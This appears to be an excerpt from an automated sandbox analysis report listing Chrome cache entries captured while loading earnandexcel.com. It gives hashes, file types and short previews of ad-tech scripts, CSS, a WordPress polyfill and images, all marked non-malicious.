SSDEEP:	192:DUr5rPH+0zl6yXhXyI2GMKjrOofZIqr/p3/EQBrAxI:QF/+WTdyflKjrZm4ixe
MD5:	47ABE89E9AA618F2F433AA879B233A86
SHA1:	FB5AD16AB3741C38A75289D51D6C512F481EB479
SHA-256:	6670102087432DD6A3E2533911C72662390B4D78740E4B0586EB48DCBAB83575
SHA-512:	77482D86216A204E15F33204DBCD2A84F53FE2C54E9BED47E4E01D504874F04980769A7E0188416641C328D81D35FC0B9B767BE89E7250B271F78946655B2166
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/iiqMatch/6f4af1983d1129049f94.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[4904],{4023:(t,e,i)=>{i.r(e),i.d(e,{IIQMatch:()=>n});var n,r=i(6135);i(6460),(n\|\|(n={})).init=()=>{try{new window.IntentIqSyncObject({partner:r.Cf})}catch(t){}}},6460:()=>{window.IntentIqSyncObject=window.IntentIqSyncObject\|\|n;var t=e;function e(t,i){var n=r();return(e=function(t,e){return n[t-=119]})(t,i)}!function(t,i){for(var n=e,r=t();;)try{if(656237===-parseInt(n(194))/1+-parseInt(n(158))/2(-parseInt(n(157))/3)+parseInt(n(156))/4(-parseInt(n(227))/5)+parseInt(n(190))/6(parseInt(n(125))/7)+-parseInt(n(149))/8(-parseInt(n(123))/9)+parseInt(n(191))/10+-parseInt(n(219))/11*(-parseInt(n(139))/12))break;r.push(r.shift())}catch(t){r.push(r.shift())}}(r);const i={brands:0,mobile:1,platform:2,architecture:3,bitness:4,model:5,platformVersion:6,wow64:7,fullVersionList:8};function n(t){var i=e;this[i(224)]=5.086,this.wasDebugCheck=!1,this[i(151)]=!1,this[i(160)]=void 0,this.metadataConstant=256,this.syncRefreshMillis=432e5,

Chrome Cache Entry: 597

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31
Entropy (8bit):	3.86469832616696
Encrypted:	false
SSDEEP:	3:YBAvZNQaY:YwZNQaY
MD5:	2D7D30EA1C6F925302D2C3ABED382951
SHA1:	5BA6BBC5670C4AF1125CF9AC0AA1CA2811E744D1
SHA-256:	83C09BA9A8DAEDB136F90B17A294CAA90AD471A016E430DF6E229ACB5A81E100
SHA-512:	BCC7AAA8A6A27ADCBD1B3E0FCA73FC1BD727FECEAB34734E99863503D1D50936A8830C0A12D75D187614F318F46B1E67F046E89F5EB6CE727D8433A722E2C525
Malicious:	false
Reputation:	low
Preview:	{"detail":"Method Not Allowed"}

Chrome Cache Entry: 598

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (673)
Category:	downloaded
Size (bytes):	674
Entropy (8bit):	5.081635170175952
Encrypted:	false
SSDEEP:	12:mivlGsMN2euE5mBUppLRLDFkKRE6Ii4KRHOiHv:HvEPN2euE57pp9LDGKd4KvHv
MD5:	306106BF21AECCBE6382BC0D432DBD5A
SHA1:	976ABCC64AE53D9530C83A2836EAA5CC0657FAED
SHA-256:	3BEA686583447DEE330BD22636405ABD05D65CFF499AB3E8F8FA4B6326EFACAF
SHA-512:	890BC23ECDBB83CD7B1C80DB72CE5FE6DBE2A2A5AC7A095E260B8203378AF0657AAAE095B73BE4A4114DE5FE450EB5F289787446B5E6DB825806F3F9A7A581A7
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/thrive-ultimatum/tcb-bridge/assets/css/placeholders.css
Preview:	.tve-ult-preload-form{min-height:var(--tu-placeholder-height-d);position:relative;display:block;background:rgba(153,162,165,.1);overflow:hidden}@keyframes shimmer{100%{transform:translateX(100%)}}.tve-ult-preload-form::after{position:absolute;top:0;right:0;bottom:0;left:0;transform:translateX(-100%);background-image:linear-gradient(90deg, rgba(255, 255, 255, 0) 0, rgba(255, 255, 255, 0.2) 20%, rgba(255, 255, 255, 0.5) 60%, rgba(255, 255, 255, 0));animation:shimmer 2s infinite;content:""}@media(max-width: 1023px){.tve-ult-preload-form{min-height:var(--tu-placeholder-height-t)}}@media(max-width: 767px){.tve-ult-preload-form{min-height:var(--tu-placeholder-height-m)}}.

Chrome Cache Entry: 599

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	dropped
Size (bytes):	18716
Entropy (8bit):	7.966562515323273
Encrypted:	false
SSDEEP:	384:UiNkjaux95PHlc3feUl9ZfvBWseMWqA1V1L+YvV1TicYFDV64/0XOO:U7/95PSB/Zf5WseMWZ/oYvV1OBoN+O
MD5:	B1AF42D2F9E525AA7B64A1B860372077
SHA1:	1FA13736C2D7D1C428609D354963303F100B1D44
SHA-256:	979DA50097FB383C9207240077FE1AAD347BEC64667810CCCFB291A09871E00E
SHA-512:	96FEE2EBE5B37BA6A45602B9F60B087AB382BD383ABCCF80263869EBB8D1FB04A3D1463A77416ACC111505D6821FF8F196562203E6CB122982F81060B3F58694
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................Z...........................!1..AQ......"RTaq..2BDSVs..#56brt....$3CEU%&4c.......78du.....................................=.........................!1Q.....ARSq..."a.$245r#T..%B3bs..............?...@Nb..,Z}w\2...e..q..m5].%..D....u...IYX)n!..[.....7.w..._...9.Xl..].%..kKY..z.{...Q....V6...r...e)..).sR.3:8/..%jr.BA.XL..nr...qM....l\.E{..5L..n2T@H).XLd.E#...pT........g0..+..[...-RDbu.S\.)...A...R.....2 hX)@.H..(.$.9m.k.:\n.r....S5....L.#k..".@..R....\.nE..S.....T.N.h.X.....c[..o:.Ky.h.4O1......+....3...f.6.g.z.0...F..&..uEPl.R..j2...=)E...p.......J.G[..SMd...[$...jn.pA..me,Uuk.5.X96G...xu..5...s...TLp...]..\...S..Wz....%. .Z.(.Ze..0.v..$....n.p<P..yJ.n....%.)\l......r.^8.C..1...p.'..u.%N.yV..zr@{..J...)9D..l4j...vvI...V.}o+[....f..w....oZ..r.qJ

Chrome Cache Entry: 600

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1143)
Category:	downloaded
Size (bytes):	4272
Entropy (8bit):	5.407649241930215
Encrypted:	false
SSDEEP:	96:bVcC0LhyRs71268NYZOAx/rfuNfnAZe5PwGNHW:B3qhpRByNPx54GN2
MD5:	B427175FA1078775EB792756E7B6D1E7
SHA1:	4C55C0233D3D9002B3449C025F97821F8BB8900D
SHA-256:	EE147E859AD0F09AA50367974E38AB53E7C7054C4A51D400A7F45B0EB251454F
SHA-512:	AF8D384188363378BC99C2E51523E74E1D18BA77D51BFF7647A377A117499421F9E94477E09907925E46DAD0A908B799A616D0B4855FFFF064BA6350815063D3
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/cv/js/sender/v1/cast_sender.js?loadCastFramework=1
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.'use strict';var l=function(){var a=h,b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},m=this\|\|self,n=/^[\w+/_-]+[=]{0,2}$/,p=null,q=function(a){return(a=a.querySelector&&a.querySelector("script[nonce]"))&&(a=a.nonce\|\|a.getAttribute("nonce"))&&n.test(a)?a:""},r=function(a,b){function e(){}e.prototype=b.prototype;a.i=b.prototype;a.prototype=new e;a.prototype.constructor=a;a.h=function(c,g,k){for(var f=Array(arguments.length-2),d=2;d<arguments.length;d++)f[d-2]=arguments[d];.return b.prototype[g].apply(c,f)}},t=function(a){return a};function u(a){if(Error.captureStackTrace)Error.captureStackTrace(this,u);else{var b=Error().stack;b&&(this.stack=b)}a&&(this.message=String(a))}r(u,Error);u.prototype.name="CustomError";var v=function(a,b){a=a.split("%s");for(var e="",c=a.length-1,g=0;g<c;g++)e+=a[g]+(g<b.length?b[g]:"%s");u.call(this,e+a[c])};r(v,u);v.prototype.name="Asse

Chrome Cache Entry: 601

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	17211
Entropy (8bit):	7.981517932856268
Encrypted:	false
SSDEEP:	384:QZP9GE8G0kEz0AbimLvGxd7sPX3lucuZyhkKZM6qhT42xt6o:GP9GZBfpiW+fAH0fMRZaCRo
MD5:	BB41700143F7CD17AE8CA4DA6298EEEA
SHA1:	932B6C0D5EFD57DE669EA33DAD17CE1C1AF6C50A
SHA-256:	798C73EEBD6370783A9D372C656F6F540C36D09E1C05B4F33B0794E415393E5B
SHA-512:	4270AD41754EFCFFA612B83BBDA734AF942B11B5E8B6CB45C1C652A4441BFA3F49A2B9882930F20FB98C772B5EE6EC94290B75F32F123A673FE0884994E435AA
Malicious:	false
Reputation:	low
URL:	https://i.vimeocdn.com/video/755015345-7542e26988b63a500ebdba9004653760cc84abd7f58b25bc3669f0bbc215c635-d?mw=400&mh=225
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............B!...(iinf..........infe........av01Color....jiprp...Kipco....ispe................pixi............av1C........colrnclx...........ipma.................B)mdat.....!....@2........1@.+]..\|..,#(3>.u...Q.xK.....+.Xa..Q...V....U..O...h.X..2,R6.....;..}.A9..^.,Q{~....>.7....`?x.....'r...+..@.]..[.....,M}.\|Iv..V,.<,.1.k4.$T.[.....W{.>m....,.:...d>....4H..n...O..293eb.?."..m.z..z..~g.*.Z.p........vYQ.`?.............FV.PM.z.'.X.?..o.t...K...\ ..Vi7..q#..k8.rb;.N..cJ.'po......+l..B...IbF....f...mt....~W.....K...}O..55...^.$.......>^....0.O<v.;.'......l., ..h...bKrG..m\.`....=....D...Q.{.p]..`..eh....p..$.E....;.Z.i.......o....1.....!.$..czo]....i0.p#\.U.l..j...+.;.................A.........D9.X.7W.7c....g.LyB.E....8.GD....}.lm6.>NK.-"...@.......d..\|..S..&2.Tp...=c......0..ck.}.Ns..)D.k.X.A.jt.o0d..G.e..(.x.u.j..../...N.w@......V{.E.sq.0..i.&A..w

Chrome Cache Entry: 602

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (19102)
Category:	downloaded
Size (bytes):	32099
Entropy (8bit):	6.132095796200036
Encrypted:	false
SSDEEP:	768:FhmcDiINriNax4ZDul7b/czhlq9wdcx5wIAyA5++k:vmclx4Rul77cjq9wdcMyAAF
MD5:	181DB82A9CA899328A83EFE72B56FFD1
SHA1:	77316BAD112F7533CD6DD5AD44A6671729F01E05
SHA-256:	7DD37C9B593B58438116989A9553FFDF73340C676FE5259F505060AE6CFD300C
SHA-512:	1858FE3FD14554A82B59169726BD58732DBFBEDE15D994A1A0330858E77ADA93B0F447F8E54C2B0D4EA1A8CD2FCD30A0759F7ADB053B7D6A074FECB0334DF1F2
Malicious:	false
Reputation:	low
URL:	"https://ad.doubleclick.net/ddm/pfadx/N3186.3949321PMPRECISIONDV360/B31189534.385370447;sz=0x0;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;dc_tdv=1;dcmt=text%2Fxml;dc_sdk_apis=2%2C7%2C8;dc_omid_p=Google1%2Fh.3.633.0;gdpr=0;gdpr_consent=;dc_mpos=-1;ltd=;vpa=auto;vpmute=1;dc_osd=2;dc_frm=0;vis=1;dc_sdr=1;dc_sdkv=h.3.633.0;dc_sdki=445;dc_eid=44770824%2C44776494%2C44777649%2C44781409%2C95321947%2C95322027%2C95323893%2C95324128%2C95324210%2C95326337;nel=1;unviewed_position_start=1;is_amp=0;hl=en;uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xNDkiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTQ5Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xNDkiXV0sMF0.;u_so=l;ctv=0;us_privacy=1---;gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY;gpp_sid=-1;ptt=20;dc_adk=3958072794;sid=C909C1C6-82EB-4B47-A36F-ECB4103D6F46;a3p=EhkKCnVpZGFwaS5jb20YrIu6-OwxSABSAghkEj8KCmFtYXpvbi5jb20SKDdib0RSZ2lKRkR5QWIwem5JUEo5NlA2b3VTZGFEY2pDeU9nS3BBPT0Ykru6-OwxSAASwgEKCHJ0YmhvdXNlEqwBTmZqSFA2ZXFuU1dsY295THFLL0ZIcGRvdUMzYjYwUjZmR1lYRzNFSXM1Y1BQTWc3REtIU2h1dGtEcjRYWmJQeDducHNUV293TDZNYU5IY3dWdWliRHhEV1IrUU9CdG1HL2UzM1ZHQ0VHd3Q5UzVvRXlkQ1gxMGtIcUFvbFlObGFGcDVIQXlhWStWRm5CYkRmT01kUVJZZWJBTTcvcUNYWmkzbDBPbk5qTDBRPRj-trr47DFIABLWAQoOZXNwLmNyaXRlby5jb20SugE3b2RQYVY5T01UVTNXRzFOYWs1WGVISkNTMVEwZWpsTFdWRjJObTVYWnpreFNqQXdSSFJRY3prd1VVRkljMll4WjBGcGNETklkM05PYlZaaWJVUm9ZbXBKVlhJNVVHdHNOVlJSWlc4MFVDVXlSa3BpUlNVeVJrTnJjRk5TYkRRMFkxUk9la3A0UXpsU1NHczFRMGxTT1doTmR6RllVMDltUVcweVkxQWxNa0pMUkZSa2NuQnNNMDlUV2cYgay6-OwxSAASPgoFb3BlbngSLGV5SnBJam9pVW5Wc1VFOXlLMU5VWVVkblEwaGlOSFkxYmt4R1VUMDlJbjA9GM7LuvjsMUgA;eid=44770824%2C44776494%2C44777649%2C44781409%2C95321947%2C95322027%2C95323893%2C95324128%2C95324210%2C95326337;url=https%3A%2F%2Fearnandexcel.com%2F%23;dt=1712870848991;dc_rfl=0,https%3A%2F%2Fearnandexcel.com%2F%23$0;ord=%5Btimestamp%5D"
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="2.0">. <Ad id="577569881">. <InLine>. <AdSystem>DCM</AdSystem>. <AdTitle>In-Stream Video</AdTitle>. <Error><![CDATA[https://ade.googlesyndication.com/ddm/activity/dc_oe=ChMIotD0lI27hQMV5UNHAR3tYQR8EAAYACConsxj;dc_eps=AHas8cAWJX9GK7y50Ppg7bnnkPgiZj0pDd11Gp6gho2WI-g0roCVw4ogv5hFrXxXXQHfoHi0NKvOut-QqaFiccfNpKg;met=1;ecn1=1;etm1=0;eid1=200015; </Error>. <Impression><![CDATA[https://unified.adsafeprotected.com/vevent/impression/1942311/79588500?gdpr=0&gdpr_consent=&gdpr_pd=&ias_xmtp=v&ias_xmapp=0&omidPartner=Google1/h.3.633.0&xsId=&ias_xappb= </Impression>. <Impression><![CDATA[https://b.videoamp.com/d2/ff55aef9-cb41-485c-bca1-b9521bd6663f/9339/impression?bwb=2&vpxid=9339&eadvid=1775402&ecid=31189534&epid=385370447&crid=208867112&pubid=9182423&cb=2285858241&cp1=209470991&cp2=&cp3= </Impression>. <Impression><![CDATA[https://t

Chrome Cache Entry: 603

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65393)
Category:	downloaded
Size (bytes):	173629
Entropy (8bit):	4.7092633142853675
Encrypted:	false
SSDEEP:	1536:nL/1EAqIkt7YuHo0DJP/t3uqTty5dWGFIibZbWu8IEiy6BRAXSCo1U+MFO3kAmFl:L1EdIkhYZCJPF3VslbaAAXf3
MD5:	E889F00C68CEB105B6680CA5C96B3EAE
SHA1:	F0FBA7DC5417C76D13F0761568E2AACA5EF19487
SHA-256:	0E36D48C48AE338B5CCCEF7DEDC545D736DFF75042F4ECF272C7061A4FD92A4B
SHA-512:	56103408B843932996FBDD701CDEBC59F0DFF6F6E16E4FF8F14F69ADB9C53117879FCEBF5936824EEAD9FDB6D3762660DC73CEC34961EE0D88A502D5FF18A9EF
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/css/fontawesome-all.min.css
Preview:	/!. Font Awesome Pro 5.13.0 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license (Commercial License). */..fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:rig

Chrome Cache Entry: 604

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (34729), with NEL line terminators
Category:	downloaded
Size (bytes):	99310
Entropy (8bit):	5.421650493683898
Encrypted:	false
SSDEEP:	1536:U9md82NBTxJ/afhwnpkwp/Y6yR2WtomNfHgcqucErHTefW6BC1dJIphOPI:Uj2NBfxWwBVTWgUzefzC1dKII
MD5:	5090BAE2C114802440412E301BDF5174
SHA1:	3850AFD52816EE686ECCD881DF06764B426CD86A
SHA-256:	D36E5D7328268D21C6941039A7B6A15C7ED7414F60DBEE72D2231D11AC9BDAF3
SHA-512:	A60C7E838FB2ACD1BF0E1504A2C37BA27B6C9E4D966B27D2B8AD459B2D86AEA362F24B54A48953A4A8FCD1D08BCA81042C0E9CEA6E68B563FD44CFE5AB951342
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/dist/vendor/wp-polyfill.min.js
Preview:	!function r(c,a,f){function o(n,t){if(!a[n]){if(!c[n]){var e="function"==typeof require&&require;if(!t&&e)return e(n,!0);if(s)return s(n,!0);var i=new Error("Cannot find module '"+n+"'");throw i.code="MODULE_NOT_FOUND",i}var u=a[n]={exports:{}};c[n][0].call(u.exports,function(t){return o(c[n][1][t]\|\|t)},u,u.exports,r,c,a,f)}return a[n].exports}for(var s="function"==typeof require&&require,t=0;t<f.length;t++)o(f[t]);return o}({1:[function(t,n,r){"use strict";t(2);var e=function _interopRequireDefault(t){return t&&t.__esModule?t:{default:t}}(t(15));e.default._babelPolyfill&&"undefined"!=typeof console&&console.warn&&console.warn("@babel/polyfill is loaded more than once on this page. This is probably not desirable/intended and may have consequences if different versions of the polyfills are applied sequentially. If you do need to load the polyfill more than once, use @babel/polyfill/noConflict instead to bypass the warning."),e.default._babelPolyfill=!0},{15:15,2:2}],2:[function(t,n,r){"

Chrome Cache Entry: 605

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, progressive, precision 8, 480x304, components 3
Category:	dropped
Size (bytes):	24985
Entropy (8bit):	7.97030786012066
Encrypted:	false
SSDEEP:	768:WNElq5z5Nbx4G72tWxY3T1AnexgKPY2/qq30:WNkq1P772tWSTZhHqc0
MD5:	24CD5EF800566F5AD0634B539146F236
SHA1:	99FA6C75CC3F1E80B1FC7BE2E111EFA6CDF17A46
SHA-256:	BE2EC1E61A91349AE2552BED1165C9313132336309CC0EE501CC3D155B1817EE
SHA-512:	11EB5C5F3A4F3C84CBDC9F66BB45707C573844C435A0486D8C54CA9D2A425C8A132B7B089169ACDBCFCC4C644E48A15CA86376DF62B42D3EDD1541087A65FC98
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."...............................................................................xcM.HEF.Ti.sn.....1.kU9.&..8r.+...cX......WEc..T..j.]...m..7.I..s....NJ.+..GG...d3O.Gnk^...V.........../..{].2.(..XF.......@D"...tR.Y.]N^..3r.>\...'.....xY...,..F.>U4a.$[F.r...ld....?..F.Eo.....r....k{..YN.q..f.c-...K3.$d...........#.....ce.z?...s`S.j.h.A N..G.....F........k..&..D...]h....Mx...yg.....2&.k$k@.........]t..5.Y.P.....U.....U]...V,....L...thV\|.u.2=VEGr..'@...jm:y......uX...Gy}.r.....S.G..s@..@.E.._<.?%J..M.....H...0...TZ....UN\..i..cz.=.C..`.........p-.%..k..Hj,_(.y.em}.V..OgWg...+.^%...2p...{3%....e......(.......^.....Q....j..R......i.;....F\Q......../...4Y..3_s....c.p:.ugn.N.c.k.%.#h:.6.. .y.SeYg....).Py.\|.5^y..-....m\|..X.[.V9.....P...}?....8..,OvM0..Z.....&6.uQH]..)&.U.3s....;\F.~

Chrome Cache Entry: 606

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 194 x 55, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8610
Entropy (8bit):	7.9452912259481145
Encrypted:	false
SSDEEP:	192:1Fq0yqqB+7tm3Icits9xeovCgh+Dqk2LFBLRmullCz+xkvnCM0:1DylUdqx3vCpP2LFBYk8c0CM0
MD5:	5AE596200838E82346A2741836A4E786
SHA1:	4B82C7A7F6E429EC45885DF48128CE105A319B6E
SHA-256:	B513786CBD843F4098D0FB45897CA8AA70FA26FF97DE81470C7DACEF32DADAC4
SHA-512:	F2BEB03C93001EF81BC15BA522D8FB0D8AB8357C55D9751AFEB5DF39FBB0AF376A9A245E97256A907ADC09231D11EFF13CEC839836FB9825BB012A78BF09C84B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......7.....^.....!iIDATx...VK...'....}....B..b#&&...".""&..........s.-X0..9.^..<..lf..gf..~.U..Q".$.<J$.D."$...&BFF.RSS...&......\....y.\|..I.?~...........K.P....\|...I............?...H...7t..).;vL.7o.U..\|.r.?_.-....c...?.^..?....\|!!....gB.Dr............q....7O#F.P..U.^=5l.Pu..U..U.Z5U.^]5j.P.Z........y...8p..,X.C...d..>....Q".>.}H..H?\|..}..i.Q.S...V.je.v.T.R%U.RE..7V.M.eK.j.{k.A.5j...Q.\|yU.P...[7...]S X.....(..t.Db....h.qj....+..5k.k.j.5V..@...B..H.C.....2.9.i..m.Z]...wo#.W............".... .[.ni.i..M....:{6q.D-Y.D.7n.5k.S'#@.~..a..s.....1 ......E17j.A:x.`8...........;D.g....9R.J.B..n...7...}.Ez..%...O.>..CU.xq...3m...E.=.+.Q."..u...%J.I.[....'.Q"9K...@.....\.0n..$.F...27.K..F.9s...7z....?.........*X..F....o...Y..3g...?w.\..<.R.KP..eVb..z..]B.D....}.j~.Ci....afh...<...=zP..2e...n.9}..:v..7.....4>.....f`.3f.`..Hp..e.2...27..;V.s.Ns.J....OX.#......f..i..3....zJ'..a.\Ax}.B...._.....9z.p.....)..U./.o.\|).<S%...!eH

Chrome Cache Entry: 607

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 608

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42433), with no line terminators
Category:	downloaded
Size (bytes):	42433
Entropy (8bit):	5.259079994020187
Encrypted:	false
SSDEEP:	768:3gk8LizPQrDEYH68mRkR7vObgIxgL8xExChmmGzq+2ARi:IvObgIxgL8xAmmmf+2ARi
MD5:	0AB4E955C478B1FFF4FC8801A94BF4E4
SHA1:	22ABA186710F946D21AE19C617D7EB2651965AC6
SHA-256:	16EEF82325D88BCCB3F09D34D6155A3EE890EDFDB479D44264212B5D5ECA1AF9
SHA-512:	FC8C34DE88F2173B3C388D1713F10F4B0E6BFEBF481AEBB2BE5556AA55E0269D810780797F653CF6BC85F69345B363C64390B9D9F091F94EC80BB2EC4E1C5A7B
Malicious:	false
Reputation:	low
URL:	https://static.criteo.net/js/ld/publishertag.ids.js
Preview:	!function(){"use strict";(R=r=r\|\|{})[R.Error=0]="Error",R[R.Warning=1]="Warning",R[R.Debug=2]="Debug";var r,L=["color: #fff;","background: #ff8f1c;","display: inline-block;","padding: 1px 4px;","border-radius: 3px;"].join(" "),d=(n.Log=function(e,t){var o;n.LOGLEVEL<e\|\|(e=r[e].toUpperCase(),o=0<(o=window.navigator.userAgent).indexOf("MSIE ")\|\|0<o.indexOf("Trident/"),window.console&&(o?console.log("[PubTag] ".concat(e,": ").concat(t)):console.log("%cPubTag",L,"".concat(e,": ").concat(t))))},n.Debug=function(e){n.Log(r.Debug,e)},n.Warning=function(e){n.Log(r.Warning,e)},n.Error=function(e){n.Log(r.Error,e)},n.LOGLEVEL=r.Error,n);function n(){}e.getHighestAccessibleWindow=function(e){var t=e,o=!1;try{for(;t.parent.document!==t.document;){if(!t.parent.document){o=!0;break}t=t.parent}}catch(e){o=!0}return{topFrame:t,err:o}},e.getHighestAccessibleUrl=function(e){var t,o=e.topFrame;if(!e.err)return o.location.href;try{var n=null==(t=o.top)?void 0:t.location.href;if(n)return n}catch(e){}try{va

Chrome Cache Entry: 609

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.4936606896881854
Encrypted:	false
SSDEEP:	3:Y9N/BbYn:Yz/yn
MD5:	D23899DC09A56ACA40F7B6D5A9E93B21
SHA1:	EC112489BF3A85AEE0F5126BDE129A9835477A12
SHA-256:	F57234B85737FD013FA80E3E8B995BC90F03792AFAB6476B1BEF5C6483FD1E9D
SHA-512:	4ADC5820FD3FB770489A6B8DBAE7622273A90AE7783EE90B67CA1146C800576EA428CFCBC06AAE6B44FD7AEF211DF4138D90B09EA7A6A5F2357710253064F905
Malicious:	false
Reputation:	low
Preview:	{"2024-04-11":{"687":16}}

Chrome Cache Entry: 610

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://u.openx.net/w/1.0/sd?id=539749039&val=ym_user_84661d8e-7b07-4fc2-8ce2-4fbdc2bd548f&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 611

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5064), with no line terminators
Category:	downloaded
Size (bytes):	5064
Entropy (8bit):	4.893189910695674
Encrypted:	false
SSDEEP:	96:57osUc17WlOajf4mYC8DdLdTJk93ik8oLrWrzrsrT0:571eYC8ZLz
MD5:	216D791E61641ACE57D8D11A12BDE01E
SHA1:	28BDE6D98D1C689A712EFE037A9592E9FA103B09
SHA-256:	029DEDF319BC4536D9C663AE9C0B10C95D1E9F5DD1DE0AA73172E9E89AE254CC
SHA-512:	CD31993E3719A13C971386CBCA73AE88CB95E0833F2E8D9CD8FF9E0D070CEE43589A4DC34FD973A9E2001AEEEB0EA9CF44E96B7536F85F2A31A47F33E6C9FAC8
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/cookie-notice/css/front.min.css
Preview:	#cookie-notice,#cookie-notice .cn-button:not(.cn-button-custom){font-family:-apple-system,BlinkMacSystemFont,Arial,Roboto,"Helvetica Neue",sans-serif;font-weight:400;font-size:13px;text-align:center}#cookie-notice{position:fixed;min-width:100%;height:auto;z-index:100000;letter-spacing:0;line-height:20px;left:0}#cookie-notice,#cookie-notice *{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#cookie-notice.cn-animated{-webkit-animation-duration:.5s!important;animation-duration:.5s!important;-webkit-animation-fill-mode:both;animation-fill-mode:both}#cookie-notice.cn-animated.cn-effect-none{-webkit-animation-duration:1ms!important;animation-duration:1ms!important}#cookie-notice .cookie-notice-container,#cookie-notice .cookie-revoke-container{display:block}#cookie-notice.cookie-notice-hidden 